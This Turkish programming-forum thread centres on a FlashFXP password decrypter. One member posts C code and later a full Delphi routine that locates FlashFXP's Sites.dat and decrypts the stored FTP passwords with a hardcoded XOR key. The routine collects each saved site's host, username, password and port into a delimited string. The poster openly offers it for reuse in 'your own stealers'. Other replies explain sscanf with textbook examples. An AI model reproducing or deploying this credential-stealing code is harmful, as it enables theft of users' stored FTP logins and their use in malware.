folder Tahribat.com Forumları
linefolder C - C++
linefolder [C Coderlari Buraya ] Flashfxp Password Decrypter Yardim.



[C Coderlari Buraya ] Flashfxp Password Decrypter Yardim.

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>



    #define VER "0.2"
    #define BUFFSZ 4096
    #define USER "User="
    #define PASS "Pass="

    #ifndef WIN32
    #define strnicmp strncasecmp
    #endif
    #ifndef u_char
    #define u_char unsigned char
    #endif



    void flashfxp_pwddec(u_char *name, u_char *pwd);
    void std_err(void);



    int main(int argc, char *argv[]) {
    FILE *fd;
    u_char buff[BUFFSZ + 1],
    name[BUFFSZ + 1],
    user[BUFFSZ + 1],
    *p;

    setbuf(stdout, NULL);


    fd = fopen("C:\\Documents and Settings\\All Users\\Application Data\\FlashFXP\\3\\Sites.dat", "rb");
    if(!fd) std_err();

    name[0] = 0;
    while(fgets(buff, BUFFSZ, fd)) {
    for(p = buff; *p && (*p != '\r') && (*p != '\n'); p++);
    *p = 0;

    if(*buff == '[') {
    p = strrchr(buff, ']');
    if(p) *p = 0;
    strcpy(name, buff + 1);

    } else if(!strnicmp(buff, USER, sizeof(USER) - 1)) {
    strcpy(user, buff);

    } else if(!strnicmp(buff, PASS, sizeof(PASS) - 1) && buff[sizeof(PASS) - 1]) {
    flashfxp_pwddec(name, buff + sizeof(PASS) - 1);
    printf("\n [%s]\n %s\n %s\n", name, user, buff);
    }
    }

    fclose(fd);
    fputs("\n Press RETURN to exit\n", stdout);
    fgetc(stdin);
    return(0);
    }



    void flashfxp_pwddec(u_char *name, u_char *pwd) {
    u_char *enc,
    *p;
    int len,
    old,
    new;
    old=0;
    if(!strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3";

    enc = name;
    len = strlen(pwd) >> 1;
    len--;

    sscanf(pwd, "%02X", &old);


    p = pwd;
    pwd = pwd + 2;
    while(len--) {
    sscanf(pwd, "%02X", &new);


    new ^= *enc++;

    if(old >= new)
    {
    new=new-1;
    }

    *p = new - old;
    p=p+1;

    sscanf(pwd, "%02X", &old);
    pwd = pwd + 2;
    }
    *p = 0;

    }


    void std_err(void) {
    perror("\nError");
    fputs("\n Press RETURN to exit\n", stdout);
    fgetc(stdin);
    exit(1);
    }

     

     

    arkadaslar bu kodu delphiye cevirmek istiyorum...

    _________________________________________ 

    void flashfxp_pwddec(u_char *name, u_char *pwd) {
    u_char *enc,
    *p;
    int len,
    old,
    new;
    old=0;
    if(!strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3";

    enc = name;
    len = strlen(pwd) >> 1;
    len--;

    sscanf(pwd, "%02X", &old);


    p = pwd;
    pwd = pwd + 2;
    while(len--) {
    sscanf(pwd, "%02X", &new);


    new ^= *enc++;

    if(old >= new)
    {
    new=new-1;
    }

    *p = new - old;
    p=p+1;

    sscanf(pwd, "%02X", &old);
    pwd = pwd + 2;
    }
    *p = 0;

    }
     

     

    bu fonksiyonun yaptiği işi anlatabilirmisiniz?

    sscanf --> bu fonksiyon ne işe yariyor. biraz aciklama yaparsaniz cok faydali olacak 

    simdiden tesekkürler. 

     

     

     


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo


    Function flashfxp_pwddec(name:String;pwd:string):String;
    var
    enc:String;
    p:Pointer;
    len:integer;
    old:integer;
    new:integer;
    BEGIN

    IF POS('',name)=0 THEN
    BEGIN
    Name:='yA36zA48dEhfrvghGRg57h5UlDv3';
    END;

    Enc:=Name;
    len:=Length(pwd) DIV 2;

    IF LEN>0 THEN
    DEC(LEN);


    // sscanf(pwd, "%02X", &old);
    p := @pwd[1];
    pwd := COPY(pwd,2,length(pwd));
    // while(len>0) DO
    // BEGIN
    // sscanf(pwd, "%02X", &new);
    // new ^= *enc++;
    // if(old >= new) THEN DEC(new);

    // p := pointer(new - old);


    // END;







    Result:=Name;

    END;

    {

    sscanf(pwd, "%02X", &old);
    p = pwd;
    pwd += 2;
    while(len--) {
    sscanf(pwd, "%02X", &new);
    new ^= *enc++;
    if(old >= new) new--;
    *p++ = new - old;
    sscanf(pwd, "%02X", &old);
    pwd += 2;
    if(!*enc) enc = name;

    *p = 0;
    }


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    TxT
    TxT's avatar
    Kayıt Tarihi: 13/Eylül/2007
    Erkek
    hocam sscanf için bazı veriler buldum ama işine yarar inş .

    ------------1-----------
    sscanf ,Verilen değişkenler için bilgisayar bafırında değerleri okur. Bafıra değer yazılması doğrudan sprintf ile yapılır.
    Sscanf (Bafir, Format stringi, Adres Listesi);
    sscanf in yapısı aynı scanf gibidir. Bafir değişkeni yine char tipinde bir pointer veya char tipinde bir dizi olarak tanımlanmalıdır.
    #include
    #include
    char *bafir="12 38 45";
    char char;
    int x;
    float y;
    char string[20];
    main( )
    {
    sscanf(bafir,"%c",&ch);
    sscanf(bafir,"%d",&x);
    sscanf(bafir,"%f",&y);
    sscanf(bafir,"%s",&st);
    printf ("karakter ==>%c"
    "Integer ==>%d"
    "float ==>%f"
    "string ==>%s",ch,x,y,string);
    }

    /* Ekran çıktısı :ch için 1, x için 12, y için 12.00 ve st için 12*/
    ------------2-----------------
    Bu fonksiyon okuyacağı bilgiyi, ilk parametresinde belirtilen karakter katarından alır. Fonksiyonun stdio.h başlık dosyasında yer alan prototip bildirimi şu şekildedir :
    int sscanf (char *str, char *format, ...);

    sscanf fonksiyonunun diğer scanf fonksiyonlarından tek farkı, okuma işlemini ilk parametresinde belirtilen (char *) türündeki nesneden yapmasıdır. Biçimlendirme ifadesi, yine scanf ve fscanf fonksiyonlarında olduğu gibi okunan bilginin nasıl yorumlanacağını belirtir. Diğer parametreler ise bilgilerin aktarılacağı göstericilerdir.
    #include

    int main ()
    {
        char *str = "12 Aralik 1945";
        int gun, yil;
        char ay[20];

        sscanf(str,"%d %s %d",&gun,ay,&yil);
        printf("%d ",gun);
        printf("%s ",ay);
        printf("%d \n",yil);
        return 0;
    }

    Bu örnekte de (char *) türünden bir göstericide tutulan tarih bilgisini sscanf fonksiyonu ile okuyarak gun, yil ve ay isimli nesnelere atadık.

  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    sscanf yi ben bizzat derleyici ile

     

    debug ettim isleme girmeden önceki pwd değeri ile işlemden cikan pwd değer birbirine eşit

    ancak new değişkenin gösterdiği adres işleme girmeden önce 0

    işlemden cıkınca 89 oluyor

    sscanf nin tam olarak ne yaptiğni anlamiş değilim

    yoksa çoktan bitirmiştim bunu 

     

    printf("%s",pwd); 

    sscanf(pwd, "%02X", &new); 

    printf("%s",pwd);


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    TxT
    TxT's avatar
    Kayıt Tarihi: 13/Eylül/2007
    Erkek
    Hocam biraz daha araştırdım sscanf fonksiyonu scanf 'i string için yapıyor mesela  kelime içindeki boşlukları varsa onlarıda atmayıp olduğu gibi alıp kelimeleri okumaya yarayan bir fonksiyonmuş farklı özellikleride var deniyo ama ne old. yazmıyo nettede :| bi C kitabı vardı ondada elle tutulur bişi yazmıyo farklı bi örnek daha buldum yardımcı olmaz belki ama yinede incele istersen.
    ----


    HAFIZADA.C:

    ================================================================
    main()
    {
    int rakam[5], sonuc[5], index;
    char satir[80];
       rakam[0] = 5;

       rakam[1] = 10;

       rakam[2] = 15;

       rakam[3] = 20;

       rakam[4] = 25;

       sprintf(satir,"%d %d      %d %d %d\n",rakam[0],rakam[1],

               rakam[2],rakam[3],rakam[4]);

       printf("%s",satir);

       sscanf(satir,"%d %d %d %d      %d",&sonuc[4],&sonuc[3],

                   (sonuc+2),(sonuc+1),sonuc);

       for (index = 0;index < 5;index++)

          printf("Sonuc %d dir. \n",sonuc[index]);
    }

    ================================================================

    Bu programda, birkac tane degisken tanimliyoruz, ve "rakamlar" isimli diziye de, "sprintf" fonksiyonunu incelemek icin rastgele sayilar atiyoruz. Bu fonksiyon, "printf" e cok benzer. Yegane farki, ciktisini ekrana yazmak yerine, bir karakter dizisine yazmasidir. Bunu da, ilk parametresi olarak veriyoruz. Yani program bu fonksiyondan dondukten sonra, "satir" dizisinin icinde, bes tane rakam olacaktir. Ikinci ile ucuncu rakamlar arasindaki bosluk, "sscanf" fonksiyonunun bunlarin
    uzerinden atlamasini gormek icindir.

    Bunun altinda "printf" i kullanarak bu hazirladigimiz satiri yaziyoruz. Daha sonra gordugunuz, "sscanf" fonksiyonu ise, "scanf" gibi ekrandan okumak yerine, bizim "satir" dizimizden degerleri okur. Gordugunuz gibi, "sscanf" e rakamlarin konacagi dizinin adreslerini cok degisik sekillerde

    verebiliyoruz. Ilk ikisi, sadece dizideki 5. ve 4. elemanlarin adreslerini  index vererek tanimliyorlar, sonraki ikisi ise, dizinin baslangic adresine bir offset (bir rakam) ekleyerek buluyorlar. Sonuncusu ise, koseli parantezi olmayan bir dizinin, o dizinin baslangic elemaninin adresini gostereceginden, hicbir sey gerektirmiyor.

    Bazen, bir programin ciktilarini, standart ciktidan (ekrandan), bir baska kutuge yoneltmek istenir. Fakat, hata mesajlarini gibi bazi mesajlari hala ekrana yollamak isteyebilirsiniz:
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    TXT Tesekkürler ben tamamladim :p 

    FLASH FXP Password Decrypter.

    sizde kendi yazdığınız stealerlarda kullanabilirsiniz.

    unit Unit1;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ComCtrls, StdCtrls, Buttons, ImgList, PngImageList;

    type
      TForm1 = class(TForm)
        ListView1: TListView;
        BitBtn1: TBitBtn;
        Label1: TLabel;
        PngImageList1: TPngImageList;
        procedure BitBtn1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function GetClave(key:Hkey; subkey,nombre:String):String;
    var
      bytesread:dword;
      regKey: HKEY;
      valor:String;
    begin
      RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
      RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
      SetLength(valor, bytesread);
      if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
        result:=valor;
      RegCloseKey(regKey);
    end;


    Function HexToStr(s: String): String;
    var
     i: Integer;
    begin
     Result:=''; i:=1;
     While i<Length(s) Do
     Begin
      Result:=Result+Chr(StrToIntDef('$'+Copy(s,i,2),0));
      Inc(i,2);
     End;
    End;
    function ConvertFileToString(const DosyaAdi: string): string;
    var
    Dosya: FILE;
    begin
    FileMode := 0;
    AssignFile(Dosya, DosyaAdi);
    {$I-}Reset(Dosya, 1);{$I+}
    {$I-}SetLength(result, FileSize(Dosya));{$I+}
    {$I-}BlockRead(Dosya, result[1], FileSize(Dosya));{$I+}
    {$I-}CloseFile(Dosya);{$I+}
    end;

    Function Environ(Macro: String): String;
    var
     Size : Cardinal;
     Output : Array[0..MAX_PATH] of Char;
    Begin
     Result := '';
     FillChar(Output, SizeOf(Output), #0);
     Size := SizeOf(Output);
     GetEnvironmentVariable(PChar(Macro), Output, Size);
     Result:=Output;
     End;

    function StrToHex(AStr: string): string;
    var
    I ,Len: Integer;
    s:char;
    begin
      len:=length(AStr);
      Result:='';
      for i:=1 to len  do
      begin
        s:=AStr[i];
        Result:=Result + ' ' +IntToHex(Ord(s),2);
      end;
      Delete(Result,1,1);
    end;


    Function DecryptFlashFxpPwd(InputStr:String):String;
    var
    MagicArray:Array[1..28] OF String;
    strPw:String;
    pwchar:Longword;
    magicNum:Longword;
    toxor:LongWord;
    XORWert:Integer;
    ArrNum:Integer;
    i:Integer;
    j:integer;
    t1,t2:Longword;
    Begin
         MagicArray[1] := '79';
         MagicArray[2] := '41';
         MagicArray[3] := '33';
         MagicArray[4] := '36';
         MagicArray[5] := '7A';
         MagicArray[6] := '41';
         MagicArray[7] := '34';
         MagicArray[8] := '38';
         MagicArray[9] := '64';
         MagicArray[10] := '45';
         MagicArray[11] := '68';
         MagicArray[12] := '66';
         MagicArray[13] := '72';
         MagicArray[14] := '76';
         MagicArray[15] := '67';
         MagicArray[16] := '68';
         MagicArray[17] := '47';
         MagicArray[18] := '52';
         MagicArray[19] := '67';
         MagicArray[20] := '35';
         MagicArray[21] := '37';
         MagicArray[22] := '68';
         MagicArray[23] := '35';
         MagicArray[24] := '55';
         MagicArray[25] := '6C';
         MagicArray[26] := '44';
         MagicArray[27] := '76';
         MagicArray[28] := '33';
    strPw := InputStr;
    magicNum :=strToInt('$' + Copy(strPw, 1, 2));
    ArrNum := 1;
    i:=3;
    while(i<Length(strPw)) Do
    Begin
        If I > 28 Then ArrNum := I - 28 + 1;

        pwchar := strToInt('$' + Copy(strPw, i, 2));
        toxor := strToInt('$' + MagicArray[ArrNum]);
       
        If ArrNum > 1 Then
          Begin
            XORWert := (pwchar Xor toxor) - strToInt('$' + Copy(strPw, I - 2, 2));
          END
          Else
          Begin
             XORWert := (pwchar Xor toxor) - magicNum
          End;
        If XORWert < 0 Then
          Begin
            t1 := XORWert;
            t2 := $FFFFFF01;
            XORWert := t1 - t2;
          End;

        ArrNum := ArrNum + 1;
        Result := Result + Chr(XORWert);
        inc(i,2);
      End;
    End;

    Function GetFLashFxpPAsswords:String;
      var
        FilePath:String;
        FileData:String;
        RetData:String;
        TempStr:String;

        xLabel:String;
        xProxy:String;
        xIP:String;
        xUser:String;
        xPass:String;
        xPort:String;
        xDsl:String;
        xUsl:String;

        xParser:String;

    Begin
        FilePath:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\FlashFXP\3','InstallerDathPath');
        FilePath:=Pchar(FilePath) + '\sites.dat';
        IF FileExists(FilePath)=False Then Exit; // FlashFxp Not Installed
        FileData:=ConvertFileToString(FilePath);
        TempStr:=FileData;
        xParser:=HexToStr('0D0A');
        While(Pos('Default Sites',TempStr)>0) Do
          Begin
            Delete(TempStr,1,POS(HexToStr('0D0A0D0A'),TempStr));
          End;
        FileData:=TempStr;
        While Pos('USL',FileData)>0 Do
          Begin
            xLabel:=Copy(FileData,Pos('[',FileData),Pos(']',FileData)-2);
                    Delete(FileData,1,Pos('Proxy',FileData)-1);
                    xLabel:=Copy(xLabel,Pos('[',xLabel)+1,Pos(']',xLabel)-2);
            xProxy:=Copy(FileData,Pos('=',FileData)+1,POS(xParser,FileData)-5);
                    Delete(FileData,1,Pos(xParser,FileData));
            xIP:=Copy(FileData,Pos('IP=',FileData)+3,POS(xParser,FileData)-3);
                    Delete(FileData,1,Pos(xParser,FileData));
            xUser:=Copy(FileData,Pos('User=',FileData)+7,POS(xParser,FileData)-5);
                    Delete(FileData,1,Pos(xParser,FileData));
            xPass:=DecryptFlashFxpPwd(Copy(FileData,Pos('Pass=',FileData)+7,POS(xParser,FileData)-7));
                    Delete(FileData,1,Pos(xParser,FileData));
            xPort:=Copy(FileData,Pos('Port=',FileData)+7,POS(xParser,FileData)-5);
                    Delete(FileData,1,Pos(xParser,FileData));
            xDsl:=Copy(FileData,Pos('DSL=',FileData)+4,POS(xParser,FileData)-5);
                    Delete(FileData,1,Pos(xParser,FileData));
            xUsl:=Copy(FileData,Pos('USL=',FileData)+4,POS(xParser,FileData)-5);
                    Delete(FileData,1,Pos(xParser,FileData));
            RetData:=RetData+  xLabel +'|'+xProxy +'|'+ xIP +'|'  + xUser +'|'  + xPass +'|' + xPort +'|'  + xDsl +'|'  + xUsl +'|';
            xLabel:='';
            xProxy:='';
            xIP:='';
            xUser:='';
            xPass:='';
           xPort:='';
            xDsl:='';
            xUsl:='';
          End;
          Result:=RetData;
    End;

    procedure TForm1.BitBtn1Click(Sender: TObject);
    VAR
    ITEM:TLISTITEM;
    TempStr:String;
    xCounter:Integer;
    begin

    TempStr:=GetFLashFxpPAsswords;

    While(Pos('|',Pchar(TempsTr))>0) Do
      Begin
        Item:=Listview1.Items.Add;
        Item.ImageIndex:=0;
        Item.Caption:=Copy(Tempstr,1,Pos('|',TempStr)-1);
        DELETE(TempStr,1,Pos('|',TempStr));

        For xCounter:=1 to 7 DO
          BEGIN
            Item.SubItems.Add(Copy(Tempstr,1,Pos('|',TempStr)-1));
            DELETE(TempStr,1,Pos('|',TempStr));
          END;

      End;
    end;


    end.

     

    Iyi günler...


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    TxT
    TxT's avatar
    Kayıt Tarihi: 13/Eylül/2007
    Erkek
    Hayırlı olsun hocam :)
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    legion_of_doom
    legion_of_doom's avatar
    Kayıt Tarihi: 04/Mayıs/2009
    Erkek

    yüreğinin güzel olduğuna inandığım için editledim bu yazıyı..


    Biraz bilmek tehlikelidir. Ya derinliklerden iç ya da bilgeliğin tadını tatmaya kalkma! Çünkü sığ sular beyni zehirler, bol sular insanı temizler....-------------------pompey--------
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    cracker
    cracker's avatar
    Kayıt Tarihi: 22/Eylül/2005
    Erkek

    bunlara gerek yok , connectleri backup yapıp bağlanıp url kopyala deyip, yapıştırınca passwordu kendi decrytp ediyo zaten :')


    Sana Verilecek En İyi Ceza Kısasa Kısastır, Şiddetli Bir Ceza Şehvete Esir Olanı Gaflet Uykusundan Uyandırır.
Toplam Hit: 2453 Toplam Mesaj: 9